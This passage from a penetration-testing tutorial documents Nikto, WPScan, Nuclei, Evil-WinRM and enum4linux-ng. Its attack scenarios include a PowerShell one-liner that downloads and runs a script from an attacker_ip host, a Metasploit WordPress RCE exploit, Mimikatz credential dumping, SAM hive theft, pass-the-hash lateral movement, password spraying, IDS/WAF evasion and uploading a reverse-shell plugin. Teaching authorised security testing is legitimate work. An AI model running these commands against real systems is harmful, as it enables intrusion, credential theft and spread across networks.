# Use proxy (Burp Suite): nikto -h http://target.com -useproxy http://127.0.0.1:8080 # -useproxy: Proxy URL # IDS/IPS evasion: nikto -h http://target.com -evasion 1 # -evasion: Evasion technique number # Evasion techniques: # 1: Random URI encoding # 2: Directory self-reference (/./) # 3: Premature URL ending # 4: Prepend long random string # 5: Fake parameter # 6: TAB as request spacer # 7: Change case of URL # 8: Use Windows directory separator (\) # Combine multiple evasions: nikto -h http://target.com -evasion 1247 # Uses: Techniques 1, 2, 4, and 7 # Custom headers: nikto -h http://target.com -H "X-Forwarded-For: 127.0.0.1" # Bypass IP restrictions
SSL/TLS Testing
# Test SSL/TLS: nikto -h https://target.com -ssl # -ssl: Force SSL mode # Ignore SSL warnings: nikto -h https://target.com -nossl # -nossl: Don't test SSL # Test specific SSL version: nikto -h https://target.com -sslversion 3 # Test: SSLv3 (insecure!)
Update Nikto Database
# Update plugins and databases: nikto -update # Downloads: Latest vulnerability checks # Check version: nikto -Version
Complete Scan Examples
# SCENARIO 1: Quick scan (common vulnerabilities) nikto -h http://target.com -Tuning 123 -o quick_scan.html -Format html # SCENARIO 2: Full comprehensive scan nikto -h http://target.com -Tuning 0123456789abc -o full_scan.html -Format html # SCENARIO 3: Stealthy scan (slow, evade IDS) nikto -h http://target.com -Pause 3 -evasion 1247 -timeout 10 # SCENARIO 4: Authenticated scan nikto -h http://target.com -id admin:password -o auth_scan.txt # SCENARIO 5: Scan multiple targets from file nikto -h targets.txt -o results -Format csv # SCENARIO 6: Scan with Burp Suite proxy (capture traffic) nikto -h http://target.com -useproxy http://127.0.0.1:8080 # SCENARIO 7: API endpoint testing nikto -h http://api.target.com/v1 -Tuning 123489 -C "token=abc123" # SCENARIO 8: WordPress scan nikto -h http://target.com/wordpress -Tuning 123 -followredirects

🎯 Nikto Pro Tips

Master web server scanning:

Quick Start:
• nikto -h http://target.com - Basic scan
• nikto -h http://target.com -Tuning 123 - Quick scan (common issues)
• nikto -h http://target.com -o results.html -Format html - Save report

Best Tuning Combinations:
• -Tuning 123 - Quick scan (files, misconfigs, info disclosure)
• -Tuning 49 - Injection scan (XSS + SQLi)
• -Tuning 89a - Auth scan (command exec + SQLi + auth bypass)
• -Tuning x6 - Everything except DoS

Pro Tips:
• Update before scanning: nikto -update
• Use -followredirects for modern web apps
• Proxy through Burp to manually verify findings
• Nikto finds LOTS of false positives - verify everything!
• Combine with: Nmap (find ports) → Nikto (scan web servers) → Manual testing
• Use -evasion 1247 to bypass basic WAF/IDS
• For stealthy scans: -Pause 3 -timeout 10

Nikto Workflow:
1. Run Nmap to find web servers
2. Run Nikto for quick vulnerability scan
3. Review Nikto output (focus on high-severity items)
4. Manually verify findings with Burp Suite
5. Deep dive with specific tools (SQLmap, XSStrike, etc.)

Nikto = The reconnaissance BEAST for web servers! 🦁🔍

WPScan (THE WordPress Vulnerability Scanner)

What is WPScan? WPScan is a black box WordPress vulnerability scanner that enumerates users, themes, plugins, timthumbs, and checks for 20,000+ known WordPress vulnerabilities. WordPress powers 43% of the web - if you're pentesting, you WILL encounter WordPress!

Why WPScan? It has a database of 20,000+ WordPress vulnerabilities, automatically detects WordPress version, enumerates users/themes/plugins, performs password attacks, integrates with WPVulnDB API (real-time vulnerability data), and is written in Ruby (fast and extensible)!

Installation & Setup
# Install (pre-installed in Kali): sudo apt install wpscan # Or install via gem: gem install wpscan # Update database: wpscan --update # Downloads: Latest WordPress vulnerability data # Get WPVulnDB API token (FREE - 50 requests/day): # 1. Go to: https://wpscan.com/ # 2. Sign up for free account # 3. Get API token from dashboard # Use API token: wpscan --url http://target.com --api-token YOUR_API_TOKEN # WITH API token: Shows vulnerability details (CVEs, exploits) # WITHOUT API token: Only shows version numbers # Save API token (don't type it every time): echo "api_token: YOUR_API_TOKEN" > ~/.wpscan/scan.yml
Basic WordPress Enumeration
# Basic scan: wpscan --url http://target.com # Detects: WordPress version, theme, plugins # Example output: [+] WordPress version 5.8 identified (Insecure, released on 2021-07-20) [+] WordPress theme in use: twentytwentyone [+] Plugins identified: contact-form-7, jetpack, woocommerce # BEGINNER EXPLANATION: # WordPress = CMS (Content Management System) # Version: Older = more vulnerabilities # Theme: Controls website design # Plugins: Add features (also add vulnerabilities!) # Enumerate everything: wpscan --url http://target.com --enumerate ap,at,cb,dbe # ap: All Plugins # at: All Themes # cb: Config Backups # dbe: Database Exports # Simpler: Enumerate common items: wpscan --url http://target.com --enumerate vp,vt,u # vp: Vulnerable Plugins # vt: Vulnerable Themes # u: Users
User Enumeration
# Enumerate users: wpscan --url http://target.com --enumerate u # Finds: Usernames (admin, john, etc.) # Example output: [i] User(s) Identified: [+] admin [+] john [+] sarah # Enumerate users (1-100): wpscan --url http://target.com --enumerate u1-100 # Tries: IDs 1 through 100 # WHY THIS WORKS: # WordPress exposes user IDs via: http://target.com/?author=1 # Redirects to: http://target.com/author/admin # Reveals username: admin!
Plugin & Theme Enumeration
# Enumerate vulnerable plugins: wpscan --url http://target.com --enumerate vp --api-token YOUR_TOKEN # vp: Vulnerable Plugins only # Enumerate ALL plugins: wpscan --url http://target.com --enumerate ap # ap: All Plugins (takes longer!) # Enumerate vulnerable themes: wpscan --url http://target.com --enumerate vt --api-token YOUR_TOKEN # vt: Vulnerable Themes # Enumerate ALL themes: wpscan --url http://target.com --enumerate at # Check specific plugin: wpscan --url http://target.com --plugins-detection mixed --plugins-version-detection aggressive # Finds: Exact plugin versions
Password Attacks
# Brute-force single user: wpscan --url http://target.com --username admin --passwords /usr/share/wordlists/rockyou.txt # Tries: admin:password1, admin:password2, etc. # Brute-force multiple users: wpscan --url http://target.com --usernames users.txt --passwords passwords.txt # Tries: All username/password combinations # Password spray (one password, many users): wpscan --url http://target.com --usernames users.txt --password 'Welcome123!' # Safer: Less likely to lock accounts # Threads (speed up brute-force): wpscan --url http://target.com --username admin --passwords rockyou.txt --max-threads 50 # Default: 5 threads (increase for speed!)
Detection & Evasion
# Stealthy scan (slower, harder to detect): wpscan --url http://target.com --stealthy # Adds: Random user-agents, delays between requests # Random user-agent: wpscan --url http://target.com --random-user-agent # Custom user-agent: wpscan --url http://target.com --user-agent "Mozilla/5.0 ..." # Throttle requests (avoid rate limiting): wpscan --url http://target.com --throttle 5000 # --throttle: Wait 5000ms (5 seconds) between requests # Disable TLS checks (self-signed certificates): wpscan --url https://target.com --disable-tls-checks
Advanced Options
# Follow redirects: wpscan --url http://target.com --follow-redirection # Useful when: WordPress is in subdirectory (http://target.com/blog/) # Custom cookie (authenticated scan): wpscan --url http://target.com --cookie "wordpress_logged_in=abc123" # Scan as: Authenticated user (finds more!) # Proxy through Burp Suite: wpscan --url http://target.com --proxy http://127.0.0.1:8080 # Force scan (even if not WordPress): wpscan --url http://target.com --force # Check plugin vulnerabilities: wpscan --url http://target.com --enumerate vp --plugins-detection aggressive --api-token TOKEN
Output & Reporting
# Save to file: wpscan --url http://target.com -o results.txt # -o: Output file # Output format (JSON): wpscan --url http://target.com -f json -o results.json # -f: Format (cli, json) # Verbose output: wpscan --url http://target.com -v # Shows: More details # No banner: wpscan --url http://target.com --no-banner
Complete Attack Scenarios
# SCENARIO 1: Full WordPress Pentest # Step 1: Detect WordPress wpscan --url http://target.com # Confirms: WordPress detected! # Step 2: Enumerate version and vulnerabilities wpscan --url http://target.com --enumerate vp,vt --api-token YOUR_TOKEN # Found: Vulnerable plugin (File Manager 6.0) # Step 3: Enumerate users wpscan --url http://target.com --enumerate u # Found: admin, john # Step 4: Search for exploit searchsploit "WordPress File Manager 6.0" # Found: RCE exploit! # Step 5: Exploit (manual or Metasploit) msfconsole use exploit/unix/webapp/wp_file_manager_rce set RHOSTS target.com set LHOST attacker_ip exploit # Got shell! # SCENARIO 2: WordPress Brute-Force # Step 1: Enumerate users wpscan --url http://target.com --enumerate u # Found: admin, sarah, john # Step 2: Password spray (try common password) wpscan --url http://target.com --usernames users.txt --password 'Welcome123!' # Success: john:Welcome123! # Step 3: Login to WordPress # Go to: http://target.com/wp-admin/ # Login: john:Welcome123! # Step 4: Upload reverse shell plugin # Create malicious plugin with PHP reverse shell # Upload via: Plugins → Add New → Upload Plugin # Step 5: Activate plugin → Get shell! # SCENARIO 3: Quick Vulnerability Check wpscan --url http://target.com --enumerate vp,vt,u --api-token YOUR_TOKEN -o quick_scan.txt # One command: Checks everything!

🎯 WPScan Cheat Sheet

WordPress pentesting essentials:

Setup:
• Get API token: https://wpscan.com/ (FREE 50 requests/day)
• wpscan --update - Update vulnerability database

Enumeration:
• wpscan --url URL - Basic scan
• wpscan --url URL --enumerate vp,vt,u - Vuln plugins/themes + users
• wpscan --url URL --enumerate ap,at,u - ALL plugins/themes + users
• wpscan --url URL --enumerate u1-100 - Users with IDs 1-100

Enumeration Codes:
• vp - Vulnerable Plugins
• ap - All Plugins
• vt - Vulnerable Themes
• at - All Themes
• u - Users
• cb - Config Backups
• dbe - Database Exports

Password Attacks:
• wpscan --url URL --username admin --passwords rockyou.txt
• wpscan --url URL --usernames users.txt --password 'Pass123!' (spray)
• --max-threads 50 - Speed up brute-force

Stealth & Evasion:
• --stealthy - Slower, harder to detect
• --random-user-agent - Random UA
• --throttle 5000 - Wait 5s between requests

Pro Tips:
• ALWAYS use --api-token (shows CVE details!)
• Enumerate users FIRST → then brute-force
• Password spray is safer than brute-force (less account lockouts)
• Check for: xmlrpc.php (brute-force amplification!)
• Look for: /wp-content/uploads/ (uploaded files, shells)
• Common WordPress paths: /wp-admin/, /wp-login.php, /wp-config.php
• After getting creds: Upload malicious plugin for RCE!

WordPress Attack Path:
1. Run WPScan to enumerate version/plugins/themes/users
2. Check for known vulnerabilities (CVEs)
3. Exploit vulnerable plugin OR brute-force login
4. Upload malicious plugin/theme for RCE
5. Get shell → escalate privileges!

WPScan = Your WordPress pentesting Swiss Army knife! 🔧🛡️

Nuclei (THE Template-Based Vulnerability Scanner)

What is Nuclei? Nuclei is a fast, template-based vulnerability scanner that sends requests based on templates (YAML files) and checks for vulnerabilities. It has 5,000+ community templates covering: CVEs, misconfigurations, default credentials, exposed panels, and MORE! Think of it as "Nmap for web apps" - automated, fast, comprehensive!

Why Nuclei? It has 5,000+ ready-made templates (constantly updated), scans FAST (100+ threads), finds CVEs automatically, supports custom templates (write your own!), integrates with CI/CD pipelines, and is used by bug bounty hunters worldwide!

Installation & Setup
# Install via Go: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # Or download binary: # https://github.com/projectdiscovery/nuclei/releases # Update templates (IMPORTANT - do this regularly!): nuclei -update-templates # Downloads: 5,000+ templates from GitHub # Check version: nuclei -version # Template location: ~/nuclei-templates/ # Contains: CVE templates, exposures, misconfigurations, etc.
Basic Usage
# Scan single URL: nuclei -u http://target.com # Runs: ALL templates against target # Example output: [CVE-2021-41773] [http] [critical] http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd [exposed-panels] [http] [info] http://target.com/admin/ [default-login] [http] [medium] http://target.com/login (admin:admin) # BEGINNER EXPLANATION: # Each line = One vulnerability found # [CVE-2021-41773] = Vulnerability name # [critical] = Severity (info, low, medium, high, critical) # [http] = Protocol # URL = Where vulnerability was found # Scan multiple URLs: nuclei -l targets.txt # File with: One URL per line # Scan from stdin (pipe from other tools): echo "http://target.com" | nuclei cat urls.txt | nuclei
Template Selection
# Run specific template: nuclei -u http://target.com -t ~/nuclei-templates/cves/2021/CVE-2021-41773.yaml # -t: Template path # Run template directory: nuclei -u http://target.com -t ~/nuclei-templates/cves/ # Runs: ALL CVE templates # Run by severity: nuclei -u http://target.com -severity critical,high # Only: Critical and high severity templates # Run by tag: nuclei -u http://target.com -tags cve,rce # Tags: cve, rce, xss, sqli, lfi, rfi, ssrf, etc. # Exclude templates: nuclei -u http://target.com -exclude-tags dos # Skip: DoS templates (avoid crashing target!) # Run specific CVE: nuclei -u http://target.com -tags cve-2021-41773 # List all tags: nuclei -tl # Shows: All available tags
Template Categories
# Main template directories: # CVEs (most important!): nuclei -u http://target.com -t ~/nuclei-templates/cves/ # 2,000+ CVE templates (2017-2024) # Exposed panels (login pages, admin panels): nuclei -u http://target.com -t ~/nuclei-templates/exposed-panels/ # Finds: /admin/, phpMyAdmin, cPanel, etc. # Misconfigurations: nuclei -u http://target.com -t ~/nuclei-templates/misconfiguration/ # Finds: Directory listing, debug mode, exposed .git/, etc. # Technologies (detect tech stack): nuclei -u http://target.com -t ~/nuclei-templates/technologies/ # Detects: WordPress, Joomla, Laravel, etc. # Default credentials: nuclei -u http://target.com -t ~/nuclei-templates/default-logins/ # Tries: admin:admin, root:root, etc. # Vulnerabilities (non-CVE): nuclei -u http://target.com -t ~/nuclei-templates/vulnerabilities/ # Finds: Generic vulnerabilities # Fuzzing templates: nuclei -u http://target.com -t ~/nuclei-templates/fuzzing/ # Tests: SSTI, SSRF, XSS, SQLi, etc.
Output & Reporting
# Save output to file: nuclei -u http://target.com -o results.txt # -o: Output file # JSON output (for automation): nuclei -u http://target.com -json -o results.json # -json: JSON format # Markdown report: nuclei -u http://target.com -markdown-export report.md # Only show matched vulnerabilities: nuclei -u http://target.com -silent # -silent: No banner, only matches # Verbose output: nuclei -u http://target.com -v # Shows: Template execution details
Performance Tuning
# Concurrency (threads): nuclei -u http://target.com -c 100 # -c: 100 concurrent requests (default: 25) # Rate limiting: nuclei -u http://target.com -rate-limit 50 # Max 50 requests/second # Timeout: nuclei -u http://target.com -timeout 10 # 10 seconds per request # Retries: nuclei -u http://target.com -retries 2 # Retry failed requests twice
Proxy & Authentication
# Use proxy (Burp Suite): nuclei -u http://target.com -proxy http://127.0.0.1:8080 # Custom headers: nuclei -u http://target.com -H "Authorization: Bearer TOKEN" nuclei -u http://target.com -H "Cookie: session=abc123" # Custom variables (for templates): nuclei -u http://target.com -var username=admin -var password=admin
Advanced Features
# Workflow (chain templates): # Example: Find WordPress → Check for xmlrpc.php → Brute-force nuclei -u http://target.com -w ~/nuclei-templates/workflows/wordpress-workflow.yaml # Automatic template selection (smart scan): nuclei -u http://target.com -as # -as: Automatic scan (faster, selects relevant templates) # Resume scan: nuclei -u http://target.com -resume resume.cfg # Continues: Previously interrupted scan # Bulk scan: nuclei -l targets.txt -bulk-size 50 # Processes: 50 targets at a time # Stats (show progress): nuclei -u http://target.com -stats # Shows: Real-time statistics
Custom Templates
# Create custom template (YAML): # Example: Check for phpinfo.php # File: phpinfo-check.yaml id: phpinfo-exposed info: name: PHPInfo Exposed author: your_name severity: high description: Detects exposed phpinfo.php requests: - method: GET path: - "{{BaseURL}}/phpinfo.php" - "{{BaseURL}}/info.php" - "{{BaseURL}}/test.php" matchers: - type: word words: - "PHP Version" - "phpinfo()" condition: or # Run custom template: nuclei -u http://target.com -t phpinfo-check.yaml
Complete Attack Scenarios
# SCENARIO 1: Full Vulnerability Scan # Step 1: Run critical/high severity templates nuclei -l targets.txt -severity critical,high -o critical_vulns.txt # Step 2: Check for exposed panels nuclei -l targets.txt -t ~/nuclei-templates/exposed-panels/ -o panels.txt # Step 3: Check for CVEs nuclei -l targets.txt -t ~/nuclei-templates/cves/ -severity critical,high -o cves.txt # Step 4: Check for misconfigurations nuclei -l targets.txt -t ~/nuclei-templates/misconfiguration/ -o misconfigs.txt # SCENARIO 2: Bug Bounty Hunting # Collect subdomains (subfinder): subfinder -d target.com -o subdomains.txt # Find live hosts (httpx): cat subdomains.txt | httpx -o live_hosts.txt # Run Nuclei on live hosts: cat live_hosts.txt | nuclei -t ~/nuclei-templates/ -severity medium,high,critical -o bounty_results.txt # SCENARIO 3: Continuous Monitoring (CI/CD) # Daily automated scan: #!/bin/bash nuclei -l targets.txt -t ~/nuclei-templates/ -severity critical,high -json -o results_$(date +%Y-%m-%d).json # Integrate: Slack/Discord notifications for new vulnerabilities # SCENARIO 4: Quick CVE Check (when new CVE drops) # Update templates: nuclei -update-templates # Scan for specific CVE: nuclei -l targets.txt -tags cve-2023-12345 -o cve_results.txt # SCENARIO 5: Integration with other tools # Chain with subfinder + httpx + nuclei: subfinder -d target.com -silent | httpx -silent | nuclei -t ~/nuclei-templates/cves/ -silent -o results.txt # One-liner bug bounty pipeline!

🎯 Nuclei Cheat Sheet

Template-based vulnerability scanning:

Setup:
• nuclei -update-templates - Update templates (do this weekly!)
• nuclei -tl - List all tags

Basic Scanning:
• nuclei -u http://target.com - Scan single URL
• nuclei -l targets.txt - Scan multiple URLs
• echo "URL" | nuclei - Pipe from stdin

Template Selection:
• -t PATH - Specific template/directory
• -tags cve,rce - Run by tag
• -severity critical,high - By severity
• -exclude-tags dos - Exclude tags

Common Template Paths:
• ~/nuclei-templates/cves/ - All CVEs
• ~/nuclei-templates/exposed-panels/ - Admin panels
• ~/nuclei-templates/misconfiguration/ - Misconfigs
• ~/nuclei-templates/default-logins/ - Default creds
• ~/nuclei-templates/vulnerabilities/ - General vulns

Performance:
• -c 100 - 100 concurrent requests
• -rate-limit 50 - Max 50 req/sec
• -timeout 10 - 10s timeout

Output:
• -o results.txt - Save to file
• -json -o results.json - JSON output
• -silent - Only show matches

Pro Tips:
• Update templates weekly: nuclei -update-templates
• Start with high/critical: -severity critical,high
• Exclude DoS templates: -exclude-tags dos
• Use -proxy to send through Burp for manual verification
• Chain with subfinder + httpx for full recon pipeline
• Use -as (automatic scan) for faster results
• Create custom templates for unique vulnerabilities

Bug Bounty Pipeline:
subfinder -d target.com | httpx | nuclei -t ~/nuclei-templates/ -severity medium,high,critical

Nuclei = Automated vulnerability hunting at SCALE! 🚀🎯

Evil-WinRM (THE WinRM Exploitation Shell)

What is Evil-WinRM? Evil-WinRM is the ultimate WinRM (Windows Remote Management) shell for pentesting. It provides a PowerShell-like interactive shell, file upload/download, pass-the-hash attacks, and MORE! If you have Windows credentials and port 5985/5986 is open, Evil-WinRM is your ticket to RCE!

Why Evil-WinRM? It's written in Ruby (fast, extensible), supports pass-the-hash (no password needed!), has built-in file transfer, executes PowerShell scripts from memory (fileless attacks), and bypasses most AV/EDR. Essential for Windows post-exploitation!

Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install evil-winrm # Or install via gem: gem install evil-winrm # Basic connection (username + password): evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' # -i: Target IP # -u: Username # -p: Password # Connection successful: Evil-WinRM shell v3.5 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\administrator\Documents> whoami corp\administrator # BEGINNER EXPLANATION: # WinRM = Windows Remote Management (like SSH for Windows) # Default ports: 5985 (HTTP), 5986 (HTTPS) # Requires: Valid credentials OR NTLM hash # Result: PowerShell shell on remote Windows machine!
Authentication Methods
# Username + password: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' # Pass-the-hash (NTLM hash): evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH' # -H: NTLM hash (from secretsdump, mimikatz, etc.) # Example hash: # aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Domain authentication: evil-winrm -i 192.168.1.50 -u john -p 'Welcome123!' -d CORP.LOCAL # -d: Domain name # HTTPS connection (port 5986): evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -S # -S: Use SSL/TLS # Ignore SSL errors: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -S -ssl # -ssl: Skip certificate validation # Custom port: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -P 5985 # -P: Port (default: 5985 for HTTP, 5986 for HTTPS)
File Transfer (Upload & Download)
# INSIDE Evil-WinRM shell: # Upload file: *Evil-WinRM* PS> upload /path/to/local/file.exe C:\Windows\Temp\file.exe # Syntax: upload LOCAL_PATH REMOTE_PATH # Example: Upload Mimikatz *Evil-WinRM* PS> upload /opt/mimikatz/mimikatz.exe C:\Windows\Temp\mimikatz.exe # Download file: *Evil-WinRM* PS> download C:\Users\john\passwords.txt /tmp/passwords.txt # Syntax: download REMOTE_PATH LOCAL_PATH # Example: Download SAM hive *Evil-WinRM* PS> download C:\Windows\System32\config\SAM /tmp/SAM # BEGINNER TIP: # upload/download commands are Evil-WinRM built-ins # NOT standard PowerShell commands! # Use these INSIDE Evil-WinRM shell only
PowerShell Execution
# Execute PowerShell commands directly: *Evil-WinRM* PS> whoami corp\administrator *Evil-WinRM* PS> ipconfig Windows IP Configuration Ethernet adapter Ethernet0: IPv4 Address. . . . . . . . . . . : 192.168.1.50 *Evil-WinRM* PS> Get-Process Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 123 8 1234 5678 0.12 1234 0 svchost # Execute commands from outside shell: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -c 'whoami' # -c: Execute single command (no interactive shell) # Execute local PowerShell script: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -s /path/to/scripts/ # -s: Directory with PowerShell scripts # Then inside shell: *Evil-WinRM* PS> Invoke-Script.ps1
Load PowerShell Scripts from Memory (Fileless!)
# Execute script without writing to disk: *Evil-WinRM* PS> Invoke-Binary /opt/powershell/PowerView.ps1 # Loads: PowerView.ps1 into memory (no file on disk!) # Example: Load Mimikatz (PowerSploit version) *Evil-WinRM* PS> Invoke-Binary /opt/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1 *Evil-WinRM* PS> Invoke-Mimikatz # Runs: Mimikatz in memory (bypasses AV!) # Load remote script: *Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/PowerView.ps1') # Downloads and executes: PowerView from attacker's web server # BEGINNER EXPLANATION: # Fileless attack = No files written to disk # Harder to detect: AV can't scan files that don't exist! # PowerShell executes: Scripts directly in memory
Modules & Executables
# Load DLL (Windows library): *Evil-WinRM* PS> Dll-Loader -smb -path \\attacker_ip\share\file.dll # Loads: DLL from SMB share # Execute .NET assembly: *Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe # Runs: .NET executable in memory # WHY THIS IS POWERFUL: # Tools like Rubeus, Seatbelt, SharpHound work WITHOUT touching disk # Bypasses: File-based AV detection
Complete Attack Scenarios
# SCENARIO 1: Initial Access via WinRM # Step 1: Check if WinRM is open (Nmap) nmap -p 5985,5986 192.168.1.50 # 5985/tcp open wsman # Step 2: Try credentials (from password spray, breach, etc.) evil-winrm -i 192.168.1.50 -u john -p 'Welcome123!' # Success! Shell obtained # Step 3: Enumerate system *Evil-WinRM* PS> whoami /all *Evil-WinRM* PS> systeminfo *Evil-WinRM* PS> net user *Evil-WinRM* PS> net group "Domain Admins" /domain # Step 4: Upload tools *Evil-WinRM* PS> upload /opt/mimikatz/mimikatz.exe C:\Windows\Temp\mimikatz.exe # Step 5: Dump credentials *Evil-WinRM* PS> C:\Windows\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # Got: administrator NTLM hash! # Step 6: Pass-the-hash to escalate evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH' # Now: Administrator shell! # SCENARIO 2: Fileless Post-Exploitation # Connect: evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH' # Load PowerView (AD enumeration): *Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/PowerView.ps1') *Evil-WinRM* PS> Get-DomainUser -SPN # Found: Kerberoastable accounts! # Load Rubeus (Kerberoasting): *Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe kerberoast /format:hashcat # Got: Service account hashes! # Crack hashes offline: hashcat -m 13100 kerberoast_hashes.txt rockyou.txt # SCENARIO 3: Lateral Movement # From: 192.168.1.50 (compromised) # To: 192.168.1.51 (target) # Step 1: Check if same creds work: evil-winrm -i 192.168.1.51 -u administrator -H 'NTLM_HASH' # Success! Same local admin password # Step 2: Repeat for entire subnet: for ip in $(seq 50 60); do echo "Trying 192.168.1.$ip" evil-winrm -i 192.168.1.$ip -u administrator -H 'NTLM_HASH' -c 'hostname' done # Found: 5 machines with same creds!
Advanced Options
# Custom timeout: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -t 300 # -t: Timeout in seconds # No colors (for scripting): evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -N # -N: No colors # Execute command and exit: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -c 'whoami' -e # -e: Exit after command # Use NTLM v2 authentication: evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' --ntlm # --ntlm: Force NTLM auth

🎯 Evil-WinRM Pro Tips

WinRM exploitation mastery:

Quick Start:
• evil-winrm -i IP -u USER -p PASS - Basic connection
• evil-winrm -i IP -u USER -H HASH - Pass-the-hash

Inside Shell:
• upload LOCAL REMOTE - Upload file
• download REMOTE LOCAL - Download file
• Invoke-Binary /path/to/tool.exe - Execute in memory

Attack Path:
1. Get creds (password spray, breach, Responder)
2. Check for WinRM: nmap -p 5985 IP
3. Connect: evil-winrm -i IP -u USER -p PASS
4. Enumerate: whoami /all, systeminfo
5. Upload tools: upload mimikatz.exe
6. Dump creds: Run Mimikatz/Rubeus
7. Escalate: Pass-the-hash to admin

Pro Tips:
• Use pass-the-hash to avoid password detection
• Load scripts with IEX (fileless!)
• Combine with: Responder (get hash) → Evil-WinRM (PTH)
• Check if creds work on multiple machines (lateral movement)
• Upload tools to C:\Windows\Temp (writable by all users)
• Use -S for HTTPS (port 5986)

Evil-WinRM = PowerShell shell on steroids! 💪⚡

Enum4linux-ng (THE SMB/LDAP Enumeration Tool)

What is Enum4linux-ng? Enum4linux-ng is the next-generation rewrite of the classic enum4linux tool. It enumerates Windows/Samba systems via SMB (port 445) and LDAP (port 389) to extract: users, groups, shares, password policy, OS info, and MORE! Think of it as "nmap for Windows networks" - reconnaissance without credentials!

Why Enum4linux-ng? It's written in Python (faster than original Bash version), has JSON output (automation-friendly), supports YAML config, performs NULL session attacks, works against both Windows AND Samba, and is actively maintained (original enum4linux is deprecated)!

Installation & Basic Usage
# Install: pip3 install enum4linux-ng # Or from GitHub: git clone https://github.com/cddmp/enum4linux-ng.git cd enum4linux-ng pip3 install -r requirements.txt # Basic enumeration (NULL session): enum4linux-ng 192.168.1.50 # Tries: Anonymous/NULL session (no credentials) # Example output: [+] Target 192.168.1.50 [+] SMB Dialect: SMB 3.1.1 [+] Domain Name: CORP [+] Domain SID: S-1-5-21-123456789-123456789-123456789 [+] Users via RPC: administrator guest john sarah [+] Groups via RPC: Domain Admins Domain Users Enterprise Admins [+] Shares: ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Users Disk User shares # BEGINNER EXPLANATION: # NULL session = Anonymous connection (no username/password) # Works on: Misconfigured Windows servers, old Samba versions # Extracts: Users, groups, shares WITHOUT credentials! # Why it works: Some servers allow anonymous RPC/SMB queries
Authenticated Enumeration
# With credentials: enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' # -u: Username # -p: Password # Domain authentication: enum4linux-ng 192.168.1.50 -u 'CORP\john' -p 'Welcome123!' # OR: enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -d CORP.LOCAL # -d: Domain # Pass-the-hash: enum4linux-ng 192.168.1.50 -u john -H 'NTLM_HASH' # -H: NTLM hash # MORE data with creds: # - Full user lists with descriptions # - Password policy details # - Group memberships # - More shares # - Session information
Specific Enumeration Targets
# Enumerate users only: enum4linux-ng 192.168.1.50 -U # -U: Users # Enumerate groups: enum4linux-ng 192.168.1.50 -G # -G: Groups # Enumerate shares: enum4linux-ng 192.168.1.50 -S # -S: Shares # Get OS information: enum4linux-ng 192.168.1.50 -O # -O: OS info # Password policy: enum4linux-ng 192.168.1.50 -P # -P: Password policy (lockout threshold, password length, etc.) # Printer information: enum4linux-ng 192.168.1.50 -i # -i: Printers # ALL enumeration: enum4linux-ng 192.168.1.50 -A # -A: All (users, groups, shares, policy, OS, etc.)
Advanced Options
# RID cycling (enumerate users by RID): enum4linux-ng 192.168.1.50 -R 500-1000 # -R: RID range (enumerate users with RID 500-1000) # RID = Relative Identifier (unique user ID) # Default RIDs: # 500 = Administrator # 501 = Guest # 502-1000 = Domain users # Aggressive mode (more queries): enum4linux-ng 192.168.1.50 -A -u john -p 'Welcome123!' # Performs: Maximum enumeration # Timeout settings: enum4linux-ng 192.168.1.50 -t 5 # -t: Timeout (seconds per query) # Verbose output: enum4linux-ng 192.168.1.50 -v # -v: Verbose (show all queries) # Debug mode: enum4linux-ng 192.168.1.50 -vv # -vv: Debug (VERY verbose!)
Output & Reporting
# JSON output (for automation): enum4linux-ng 192.168.1.50 -oJ results.json # -oJ: JSON format # YAML output: enum4linux-ng 192.168.1.50 -oY results.yaml # -oY: YAML format # Save to file (default format): enum4linux-ng 192.168.1.50 -oA results # -oA: All formats (creates results.json, results.yaml, results.txt)
Complete Attack Scenarios
